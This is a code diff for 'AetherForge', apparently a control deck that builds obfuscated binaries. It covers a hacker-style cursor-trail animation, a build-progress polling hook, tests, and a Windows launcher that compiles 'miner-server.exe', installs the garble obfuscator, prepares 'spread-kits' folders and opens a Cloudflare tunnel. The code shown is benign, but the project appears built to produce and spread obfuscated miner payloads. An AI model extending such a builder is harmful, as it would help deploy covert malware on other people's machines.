@@ -1,114 +1,143 @@
import { useEffect, useRef } from 'react';
import './CursorFire.css';
const BIT_CHARS = '01';
const HEX_CHARS = '0123456789ABCDEF';
const MAX_PARTICLES = 480;
const EMIT_PER_FRAME = 12;
const EMIT_WINDOW_MS = 140;
const FONT_STACK = '"JetBrains Mono", "Fira Code", "Cascadia Code", monospace';
interface Particle {
x: number;
y: number;
vx: number;
vy: number;
life: number; // 1 → 0
size: number;
life: number;
decay: number;
char: string;
fontSize: number;
tint: 'cyan' | 'green';
}
function pickChar(): string {
if (Math.random() < 0.88) return BIT_CHARS[Math.floor(Math.random() * 2)];
return HEX_CHARS[Math.floor(Math.random() * HEX_CHARS.length)];
}
function colorForLife(life: number, tint: Particle['tint']): string {
const a = Math.min(1, life * 1.05);
if (tint === 'cyan') {
if (life > 0.5) return `rgba(0, 255, 255, ${a})`;
return `rgba(0, 240, 200, ${a * 0.92})`;
}
if (life > 0.5) return `rgba(80, 255, 160, ${a})`;
return `rgba(0, 255, 120, ${a * 0.9})`;
}
function glowForTint(tint: Particle['tint']): string {
return tint === 'cyan' ? '#00e8f5' : '#00ff88';
}
export default function CursorFire() {
const canvasRef = useRef<HTMLCanvasElement>(null);
const particles = useRef<Particle[]>([]);
const mouse = useRef({ x: -9999, y: -9999, moved: false });
const rafRef = useRef<number>(0);
const mouse = useRef({ x: -9999, y: -9999 });
const lastMoveRef = useRef(0);
const rafRef = useRef(0);
useEffect(() => {
const motionQuery = window.matchMedia('(prefers-reduced-motion: reduce)');
if (motionQuery.matches) return;
const canvas = canvasRef.current;
if (!canvas) return;
const ctx = canvas.getContext('2d');
if (!ctx) return;
let running = true;
const resize = () => {
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
const dpr = Math.min(window.devicePixelRatio || 1, 2);
const w = window.innerWidth;
const h = window.innerHeight;
canvas.width = Math.floor(w * dpr);
canvas.height = Math.floor(h * dpr);
canvas.style.width = `${w}px`;
canvas.style.height = `${h}px`;
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
};
resize();
window.addEventListener('resize', resize);
const onMove = (e: MouseEvent) => {
mouse.current = { x: e.clientX, y: e.clientY, moved: true };
mouse.current = { x: e.clientX, y: e.clientY };
lastMoveRef.current = performance.now();
};
window.addEventListener('mousemove', onMove);
window.addEventListener('mousemove', onMove, { passive: true });
const stopOnReducedMotion = () => {
if (!motionQuery.matches) return;
running = false;
cancelAnimationFrame(rafRef.current);
particles.current = [];
ctx.clearRect(0, 0, canvas.width, canvas.height);
};
motionQuery.addEventListener('change', stopOnReducedMotion);
const emit = () => {
if (performance.now() - lastMoveRef.current > EMIT_WINDOW_MS) return;
const { x, y } = mouse.current;
// Emit 6 particles per frame at cursor
for (let i = 0; i < 6; i++) {
const spread = 8;
for (let i = 0; i < EMIT_PER_FRAME; i++) {
const spread = 14;
particles.current.push({
x: x + (Math.random() - 0.5) * spread,
y: y + (Math.random() - 0.5) * (spread * 0.5),
vx: (Math.random() - 0.5) * 1.2,
vy: -(Math.random() * 2.8 + 1.8),
y: y + (Math.random() - 0.5) * (spread * 0.45),
vx: (Math.random() - 0.5) * 1.8,
vy: -(Math.random() * 3.2 + 2.1),
life: 1,
size: Math.random() * 14 + 7,
decay: Math.random() * 0.022 + 0.016,
decay: Math.random() * 0.016 + 0.012,
char: pickChar(),
fontSize: Math.random() * 16 + 16,
tint: Math.random() < 0.5 ? 'cyan' : 'green',
});
}
// Cap particle count for perf
if (particles.current.length > 400) {
particles.current = particles.current.slice(-400);
if (particles.current.length > MAX_PARTICLES) {
particles.current = particles.current.slice(-MAX_PARTICLES);
}
};
const draw = () => {
if (!running) return;
ctx.clearRect(0, 0, canvas.width, canvas.height);
// Additive blending makes overlapping particles look white-hot
ctx.globalCompositeOperation = 'screen';
emit();
const alive: Particle[] = [];
for (const p of particles.current) {
// Turbulent horizontal drift
p.vx += (Math.random() - 0.5) * 0.35;
// Slight drag on vx
p.vx *= 0.97;
// Upward acceleration (heat rises)
p.vy -= 0.04;
p.vx += (Math.random() - 0.5) * 0.28;
p.vx *= 0.96;
p.vy -= 0.035;
p.x += p.vx;
p.y += p.vy;
p.life -= p.decay;
// Particles shrink as they cool
p.size *= 0.982;
p.fontSize *= 0.985;
if (p.life <= 0 || p.size < 1) continue;
if (p.life <= 0 || p.fontSize < 8) continue;
alive.push(p);
const l = p.life;
// Color temperature: white-yellow core → orange → red → dark red
let r: number, g: number, b: number;
if (l > 0.75) {
// White-hot
r = 255; g = 255; b = Math.round((l - 0.75) / 0.25 * 220);
} else if (l > 0.5) {
// Yellow-orange
r = 255; g = Math.round(100 + (l - 0.5) / 0.25 * 155); b = 0;
} else if (l > 0.25) {
// Orange-red
r = 255; g = Math.round((l - 0.25) / 0.25 * 100); b = 0;
} else {
// Deep red, fading
r = Math.round(160 + l / 0.25 * 95); g = 0; b = 0;
}
const grad = ctx.createRadialGradient(p.x, p.y, 0, p.x, p.y, p.size);
grad.addColorStop(0, `rgba(${r},${g},${b},${l})`);
grad.addColorStop(0.4, `rgba(${r},${Math.round(g * 0.6)},0,${l * 0.6})`);
grad.addColorStop(1, `rgba(0,0,0,0)`);
ctx.beginPath();
ctx.arc(p.x, p.y, p.size, 0, Math.PI * 2);
ctx.fillStyle = grad;
ctx.fill();
const glow = 10 + p.life * 18;
ctx.shadowBlur = glow;
ctx.shadowColor = glowForTint(p.tint);
ctx.font = `600 ${p.fontSize}px ${FONT_STACK}`;
ctx.textAlign = 'center';
ctx.textBaseline = 'middle';
ctx.fillStyle = colorForLife(p.life, p.tint);
ctx.fillText(p.char, p.x, p.y);
}
ctx.shadowBlur = 0;
particles.current = alive;
rafRef.current = requestAnimationFrame(draw);
};
@@ -116,22 +145,13 @@ export default function CursorFire() {
rafRef.current = requestAnimationFrame(draw);
return () => {
running = false;
cancelAnimationFrame(rafRef.current);
window.removeEventListener('resize', resize);
window.removeEventListener('mousemove', onMove);
motionQuery.removeEventListener('change', stopOnReducedMotion);
};
}, []);
return (
<canvas
ref={canvasRef}
className="cursor-fire-fx"
style={{
position: 'fixed',
inset: 0,
pointerEvents: 'none',
zIndex: 9998,
}}
/>
);
return <canvas ref={canvasRef} className="cursor-hacker-fx" aria-hidden="true" />;
}

View File

@@ -907,9 +907,29 @@ describe('AmbientBackground', () => {
describe('CursorFire', () => {
afterEach(() => cleanup());
it('mounts fullscreen canvas', () => {
it('mounts fullscreen hacker-trail canvas', () => {
const { container } = render(<CursorFire />);
expect(container.querySelector('canvas')).toBeTruthy();
const canvas = container.querySelector('canvas.cursor-hacker-fx');
expect(canvas).toBeTruthy();
expect(canvas).toHaveAttribute('aria-hidden', 'true');
});
it('skips animation loop when prefers-reduced-motion', () => {
const rafSpy = vi.spyOn(window, 'requestAnimationFrame');
const matchMediaSpy = vi.spyOn(window, 'matchMedia').mockReturnValue({
matches: true,
media: '(prefers-reduced-motion: reduce)',
onchange: null,
addListener: vi.fn(),
removeListener: vi.fn(),
addEventListener: vi.fn(),
removeEventListener: vi.fn(),
dispatchEvent: vi.fn(),
});
render(<CursorFire />);
expect(rafSpy).not.toHaveBeenCalled();
matchMediaSpy.mockRestore();
rafSpy.mockRestore();
});
});
@@ -970,7 +990,7 @@ describe('Layout', () => {
expect(screen.getByRole('link', { name: /Onion/i })).toBeInTheDocument();
});
it('mounts MatrixRain and CursorFire on Command Deck only', async () => {
it('mounts MatrixRain on Command Deck only and CursorFire on all desktop deck pages', async () => {
const { container: deck } = render(
<MemoryRouter initialEntries={['/dashboard']} future={routerFuture}>
<Layout>
@@ -980,7 +1000,7 @@ describe('Layout', () => {
);
await waitFor(() => {
expect(deck.querySelector('.matrix-rain-canvas')).toBeTruthy();
expect(deck.querySelector('.cursor-fire-fx')).toBeTruthy();
expect(deck.querySelector('.cursor-hacker-fx')).toBeTruthy();
});
cleanup();
@@ -995,6 +1015,7 @@ describe('Layout', () => {
expect(screen.getByText('crucible')).toBeInTheDocument();
});
expect(crucible.querySelector('.matrix-rain-canvas')).toBeNull();
expect(crucible.querySelector('.cursor-fire-fx')).toBeNull();
expect(crucible.querySelector('.cursor-hacker-fx')).toBeTruthy();
expect(crucible.querySelector('.layout--hacker-cursor')).toBeTruthy();
});
});

View File

@@ -0,0 +1,57 @@
import { useEffect, useRef } from 'react';
import { useForge } from '../context/ForgeContext';
const FORGE_POLL_MS = 1000;
/** Poll GET /api/v1/builder/progress/{token} while a forge is running. */
export function useForgeProgressPoll(
active: boolean,
cancelTokenRef: React.RefObject<string>,
) {
const { startForge, endForge, setStage } = useForge();
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
useEffect(() => {
if (!active) {
endForge();
if (timerRef.current) clearTimeout(timerRef.current);
return;
}
startForge();
const token = cancelTokenRef.current;
if (!token) return;
let alive = true;
const poll = async () => {
if (!alive) return;
try {
const { authHeaders } = await import('../api/auth');
const res = await fetch(`/api/v1/builder/progress/${encodeURIComponent(token)}`, {
headers: authHeaders(),
});
if (res.ok) {
const data: { stage?: string; pct?: number } = await res.json();
const pct = typeof data.pct === 'number' ? data.pct : 0;
if (alive && (data.stage || pct > 0)) {
setStage(data.stage || 'Forging...', pct);
}
}
} catch {
// network hiccup — keep polling
}
if (alive) {
timerRef.current = setTimeout(poll, FORGE_POLL_MS);
}
};
poll();
return () => {
alive = false;
if (timerRef.current) clearTimeout(timerRef.current);
};
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [active]);
}

View File

@@ -28,6 +28,8 @@ import {
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
import ForgeProgressBar from '../components/Forge/ForgeProgressBar';
import { useForgeProgressPoll } from '../hooks/useForgeProgressPoll';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
@@ -101,29 +103,6 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
// Poll interval (ms) for real server-side build progress.
const FORGE_POLL_MS = 1000;
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
if (!building) return null;
return (
<div className="forge-progress-wrap" aria-live="polite">
<div className="forge-progress-header">
<span className="forge-progress-icon"></span>
<span className="forge-progress-stage">{stage || 'Initializing...'}</span>
<span className="forge-progress-pct">{Math.round(progress)}%</span>
</div>
<div className="forge-progress-track">
<div
className="forge-progress-fill"
style={{ width: `${progress}%` }}
/>
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
</div>
</div>
);
}
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
function loadSimpleMode(): boolean {
@@ -139,8 +118,7 @@ function loadSimpleMode(): boolean {
export default function BuilderPage() {
const navigate = useNavigate();
const [searchParams, setSearchParams] = useSearchParams();
const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
const forgeStageTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const { setStage, stage: forgeStage, progress: forgeProgress } = useForge();
const [form, setForm] = useState<BuildRequest | null>(null);
const [building, setBuilding] = useState(false);
@@ -217,52 +195,7 @@ export default function BuilderPage() {
const forgeSkinClass = forgePageClass(operationMode, forgeTheme);
// Poll real server-side build progress while a single build is running.
// The server exposes GET /api/v1/builder/progress/{token} which returns
// {stage, pct} updated at each key compile stage, so the bar reflects
// actual server activity instead of a client-side time estimate.
useEffect(() => {
if (!building || batchJob) {
endForge();
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
return;
}
startForge();
const token = cancelTokenRef.current;
if (!token) return;
let active = true;
const poll = async () => {
if (!active) return;
try {
const { authHeaders } = await import('../api/auth');
const res = await fetch(`/api/v1/builder/progress/${token}`, {
headers: authHeaders(),
});
if (res.ok) {
const data: { stage: string; pct: number } = await res.json();
if (active && data.stage) {
setStage(data.stage, data.pct);
}
}
} catch {
// network hiccup — keep polling
}
if (active) {
forgeStageTimerRef.current = setTimeout(poll, FORGE_POLL_MS);
}
};
poll();
return () => {
active = false;
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
};
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [building, batchJob]);
useForgeProgressPoll(Boolean(building && !batchJob), cancelTokenRef);
const setForgeMode = (simple: boolean) => {
setSimpleMode(simple);
@@ -348,7 +281,7 @@ export default function BuilderPage() {
}, [searchParams, recentBuilds, form]);
const finishForgeSuccess = async (result: BuildResponse) => {
setStage('Build complete!', 100);
setStage('Forged!', 100);
setLastBuild(result);
setDispenseReveal(result);
loadRecentBuilds();
@@ -789,7 +722,6 @@ export default function BuilderPage() {
cancelToken,
onStep: (step) => {
setMissionStep(step);
if (step === 'forge') startForge();
},
});
setMissionExportSkipped(result.exportSkipped);

View File

@@ -13,6 +13,8 @@ import NeonCard from '../components/NeonCard/NeonCard';
import { HelpTip } from '../components/HelpTip';
import AlsoHere from '../components/Presence/AlsoHere';
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
import ForgeProgressBar from '../components/Forge/ForgeProgressBar';
import { useForgeProgressPoll } from '../hooks/useForgeProgressPoll';
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
import { useForge } from '../context/ForgeContext';
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults } from '../help/forgeSmartDefaults';
@@ -53,25 +55,6 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
const FORGE_POLL_MS = 1000;
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
if (!building) return null;
return (
<div className="forge-progress-wrap" aria-live="polite">
<div className="forge-progress-header">
<span className="forge-progress-icon"></span>
<span className="forge-progress-stage">{stage || 'Initializing...'}</span>
<span className="forge-progress-pct">{Math.round(progress)}%</span>
</div>
<div className="forge-progress-track">
<div className="forge-progress-fill" style={{ width: `${progress}%` }} />
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
</div>
</div>
);
}
function previewAccentForChip(chip: MissionOperationChip): 'cyan' | 'magenta' | 'amber' | 'gold' {
if (chip === 'ghost') return 'cyan';
if (chip === 'loud') return 'magenta';
@@ -80,9 +63,7 @@ function previewAccentForChip(chip: MissionOperationChip): 'cyan' | 'magenta' |
export default function MissionDeckPage() {
const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
const forgeStageTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const { setStage, stage: forgeStage, progress: forgeProgress } = useForge();
const cancelTokenRef = useRef('');
@@ -166,52 +147,10 @@ export default function MissionDeckPage() {
.catch(() => setError('Failed to load server config — is the control server running?'))
.finally(() => setLoadingDefaults(false));
}, []);
// Poll real server-side build progress (same as BuilderPage).
useEffect(() => {
if (!building) {
endForge();
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
return;
}
startForge();
useForgeProgressPoll(building, cancelTokenRef);
const token = cancelTokenRef.current;
if (!token) return;
let active = true;
const poll = async () => {
if (!active) return;
try {
const { authHeaders } = await import('../api/auth');
const res = await fetch(`/api/v1/builder/progress/${token}`, {
headers: authHeaders(),
});
if (res.ok) {
const data: { stage: string; pct: number } = await res.json();
if (active && data.stage) {
setStage(data.stage, data.pct);
}
}
} catch {
// network hiccup — keep polling
}
if (active) {
forgeStageTimerRef.current = setTimeout(poll, FORGE_POLL_MS);
}
};
poll();
return () => {
active = false;
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
};
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [building]);
useEffect(() => {
return () => {
const tok = cancelTokenRef.current;
if (tok) api.cancelBuild(tok).catch(() => {});
};
@@ -247,7 +186,7 @@ export default function MissionDeckPage() {
};
const finishForgeSuccess = async (result: BuildResponse) => {
setStage('Build complete!', 100);
setStage('Forged!', 100);
setDispenseReveal(result);
};
@@ -301,7 +240,6 @@ export default function MissionDeckPage() {
cancelToken,
onStep: (step) => {
setMissionStep(step);
if (step === 'forge') startForge();
},
});
setMissionExportSkipped(result.exportSkipped);

View File

@@ -1591,11 +1591,25 @@ button.deliverable-card .form-hint {
border-radius: 4px;
background: linear-gradient(90deg, #ff6a00, #ffb300, #ffd700);
box-shadow: 0 0 8px rgba(255, 160, 0, 0.6);
transition: width 0.35s cubic-bezier(0.4, 0, 0.2, 1);
transition: width 0.6s cubic-bezier(0.4, 0, 0.2, 1);
position: relative;
z-index: 1;
}
.forge-progress-track.indeterminate {
overflow: hidden;
}
.forge-progress-track.indeterminate .forge-progress-fill {
width: 35%;
animation: forge-progress-indeterminate 1.4s ease-in-out infinite;
}
@keyframes forge-progress-indeterminate {
0% { transform: translateX(-100%); }
100% { transform: translateX(320%); }
}
.forge-progress-glow {
position: absolute;
top: 50%;

View File

@@ -580,8 +580,8 @@ export default function SettingsPage() {
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Deck Atmosphere</h2>
<p className="section-desc">
Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on
low-power devices if you want a calmer deck.
Rising 0/1 and hex glyphs follow your pointer on desktop deck pages. Background glow
particles sit behind the UI. Turn off on low-power devices for a calmer deck.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
@@ -591,7 +591,7 @@ export default function SettingsPage() {
checked={glowParticles}
onChange={(e) => setGlowParticles(e.target.checked)}
/>
<span>Glow particles &amp; sparkles</span>
<span>Hacker cursor trail</span>
</label>
</div>
<div className="form-group" style={{ marginTop: '1.25rem' }}>

View File

@@ -45,7 +45,7 @@ body {
touch-action: manipulation;
}
.cursor-fire-fx {
.cursor-hacker-fx {
display: none !important;
}

View File

@@ -9,7 +9,7 @@ describe('visualPrefs', () => {
localStorage.clear();
});
it('defaults glow particles to on', () => {
it('defaults hacker cursor trail to on', () => {
expect(loadGlowParticlesEnabled()).toBe(true);
});

Binary file not shown.

View File

@@ -2,23 +2,52 @@
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Deck
cd /d "%~dp0"
set "REPO=%CD%"
echo.
echo ================================================================
echo AetherForge - One-Click Launch
echo ================================================================
echo Folder: %REPO%
echo.
set "PREP=%REPO%\scripts\launch-prep.bat"
if not exist "%PREP%" set "PREP=%REPO%\..\scripts\launch-prep.bat"
if exist "%PREP%" (
call "%PREP%" "%REPO%"
if errorlevel 1 (
echo.
echo LAUNCH prep failed - fix errors above and retry.
pause
exit /b 1
)
) else (
echo [Prep] launch-prep.bat not found - skipping pull/UI build.
)
if /i "%AF_LAUNCH_DRY_RUN%"=="1" (
echo.
echo [Dry run] Prep steps OK - not starting tunnel or server.
pause
exit /b 0
)
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
set "ROOT="
if exist "%CD%\AetherForge.exe" (
set "ROOT=!CD!"
) else if exist "%CD%\usb\AetherForge.exe" (
cd /d "%CD%\usb"
set "ROOT=!CD!"
) else (
echo.
echo ERROR: AetherForge.exe not found.
echo Expected next to this script, or in usb\AetherForge.exe
echo Run pack-usb.bat from the repo to build the portable bundle.
echo.
pause
exit /b 1
)
if defined ROOT if exist "%ROOT%\AetherForge.exe" goto portable_deck
:: No portable binary - dev control server from repo
goto dev_server_launch
:portable_deck
if not exist "%ROOT%\AetherForge.exe" (
echo ERROR: AetherForge.exe missing in %ROOT%
pause
@@ -50,7 +79,6 @@ if exist "%BUNDLED_GO%" (
goto go_ready
)
:: Check if Go is installed system-wide
where go >nul 2>nul
if not errorlevel 1 (
echo [Go] Using system Go installation.
@@ -58,7 +86,6 @@ if not errorlevel 1 (
goto go_ready
)
:: Go not found anywhere - skip optional tools, proceed directly to server
echo.
echo [Go] Go not found - Forge obfuscation tools unavailable. Running server without them.
echo.
@@ -66,17 +93,11 @@ goto server_launch
:go_ready
:: ----------------------------------------------------------------
:: 2. Pin all Go caches to the USB so module downloads travel with you
:: ----------------------------------------------------------------
set "GOPATH=%ROOT%\toolchain\gopath"
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
set "GOCACHE=%ROOT%\toolchain\gocache"
set "GOENV=off"
:: ----------------------------------------------------------------
:: 3. Install optional Forge tools if missing (non-fatal)
:: ----------------------------------------------------------------
if /i not "%AF_INSTALL_TOOLS%"=="0" (
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
echo [Tools] Installing garble...
@@ -95,9 +116,8 @@ if /i not "%AF_INSTALL_TOOLS%"=="0" (
:server_launch
:: ----------------------------------------------------------------
:: 4. Ensure data directories exist
:: ----------------------------------------------------------------
echo.
echo Ensuring data directories...
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
@@ -105,9 +125,6 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: ----------------------------------------------------------------
:: 5. Detect LAN IP for display
:: ----------------------------------------------------------------
set "SERVER_PORT=8989"
set "CONFIG_FILE=%ROOT%\data\config.json"
if exist "%CONFIG_FILE%" (
@@ -123,9 +140,7 @@ set "LAN_IP=localhost"
:lan_done
set "LAN_IP=%LAN_IP: =%"
:: ----------------------------------------------------------------
:: 6. Kill any stale server and tunnel processes
:: ----------------------------------------------------------------
echo Stopping stale processes...
taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul
@@ -139,12 +154,11 @@ echo LAN: http://%LAN_IP%:%SERVER_PORT%
echo Data: %ROOT%\data\
echo.
echo Login accounts: admin + comrade ^(passwords below after start^).
echo Cloudflare tunnel starts below ^(LAUNCH + server^).
echo Press Ctrl+C to stop.
echo ================================================================
echo.
:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
echo Starting tunnel...
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
if exist "%CF_SCRIPT%" (
@@ -154,31 +168,123 @@ if exist "%CF_SCRIPT%" (
)
echo.
:: Ensure cwd matches deck root so webroot resolution finds usb\webroot
cd /d "%ROOT%"
:: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
:: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
echo Starting server...
set "AF_TUNNEL_EXTERNAL=1"
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
set "EC=!ERRORLEVEL!"
if exist "%ROOT%\data\cloudflared.pid" (
for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
call :cleanup_tunnel "%ROOT%"
goto server_stopped
:dev_server_launch
echo.
echo No AetherForge.exe - starting dev control server ^(repo^).
echo ^(Run pack-usb.bat for portable USB bundle.^)
echo.
set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%"
set "DATA=%REPO%\data"
set "DECK=%REPO%"
if exist "%REPO%\usb\tools\cloudflared.exe" set "DECK=%REPO%\usb"
if exist "%REPO%\usb\data" if not exist "%DECK%\data" set "DECK=%REPO%\usb"
echo Ensuring data directories...
if not exist "%DATA%\builds" mkdir "%DATA%\builds"
if not exist "%DATA%\logs" mkdir "%DATA%\logs"
if not exist "%DATA%\spread-kits" mkdir "%DATA%\spread-kits"
if not exist "%DATA%\uploads" mkdir "%DATA%\uploads"
if not exist "%DATA%\blueprints" mkdir "%DATA%\blueprints"
if not exist "%DATA%\preps" mkdir "%DATA%\preps"
if not exist "%REPO%\bin" mkdir "%REPO%\bin"
set "SERVER_PORT=8989"
set "CONFIG_FILE=%DATA%\config.json"
if exist "%CONFIG_FILE%" (
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
if not "%%P"=="" set "SERVER_PORT=%%P"
)
)
set "LAN_IP=localhost"
echo Stopping stale processes...
taskkill /F /IM miner-server.exe >nul 2>nul
taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul
where go >nul 2>nul
if errorlevel 1 (
echo ERROR: Go not found - install from https://go.dev/dl/ or use pack-usb.bat
pause
exit /b 1
)
if not exist "%REPO%\bin\miner-server.exe" (
echo Building control server...
cd /d "%REPO%\server"
go mod download >nul 2>nul
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
if errorlevel 1 (
cd /d "%REPO%"
echo ERROR: Server build failed.
pause
exit /b 1
)
cd /d "%REPO%"
)
echo.
echo ================================================================
echo STARTING CONTROL SERVER ^(dev^)
echo ================================================================
echo Dashboard: http://localhost:%SERVER_PORT%
echo Data: %DATA%\
echo ================================================================
echo.
echo Starting tunnel...
set "CF_SCRIPT=%REPO%\scripts\usb-start-cloudflared.ps1"
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%DECK%\scripts\usb-start-cloudflared.ps1"
if exist "%CF_SCRIPT%" (
powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%DECK%"
) else (
echo [Tunnel] WARNING: usb-start-cloudflared.ps1 not found.
)
echo.
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
echo Starting server...
cd /d "%REPO%"
set "AF_TUNNEL_EXTERNAL=1"
"%REPO%\bin\miner-server.exe" -data "%DATA%"
set "EC=!ERRORLEVEL!"
call :cleanup_tunnel "%DECK%"
goto server_stopped
:cleanup_tunnel
set "TROOT=%~1"
if exist "%TROOT%\data\cloudflared.pid" (
for /f "usebackq" %%P in ("%TROOT%\data\cloudflared.pid") do (
taskkill /F /PID %%P >nul 2>nul
)
del "%ROOT%\data\cloudflared.pid" 2>nul
del "%TROOT%\data\cloudflared.pid" 2>nul
)
taskkill /F /IM cloudflared.exe >nul 2>nul
exit /b 0
:server_stopped
echo.
if "!EC!"=="0" (
echo [Server] Stopped normally.
) else (
echo [Server] Exited with code !EC!.
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
echo If port %SERVER_PORT% is in use, close other server windows and retry.
)
echo.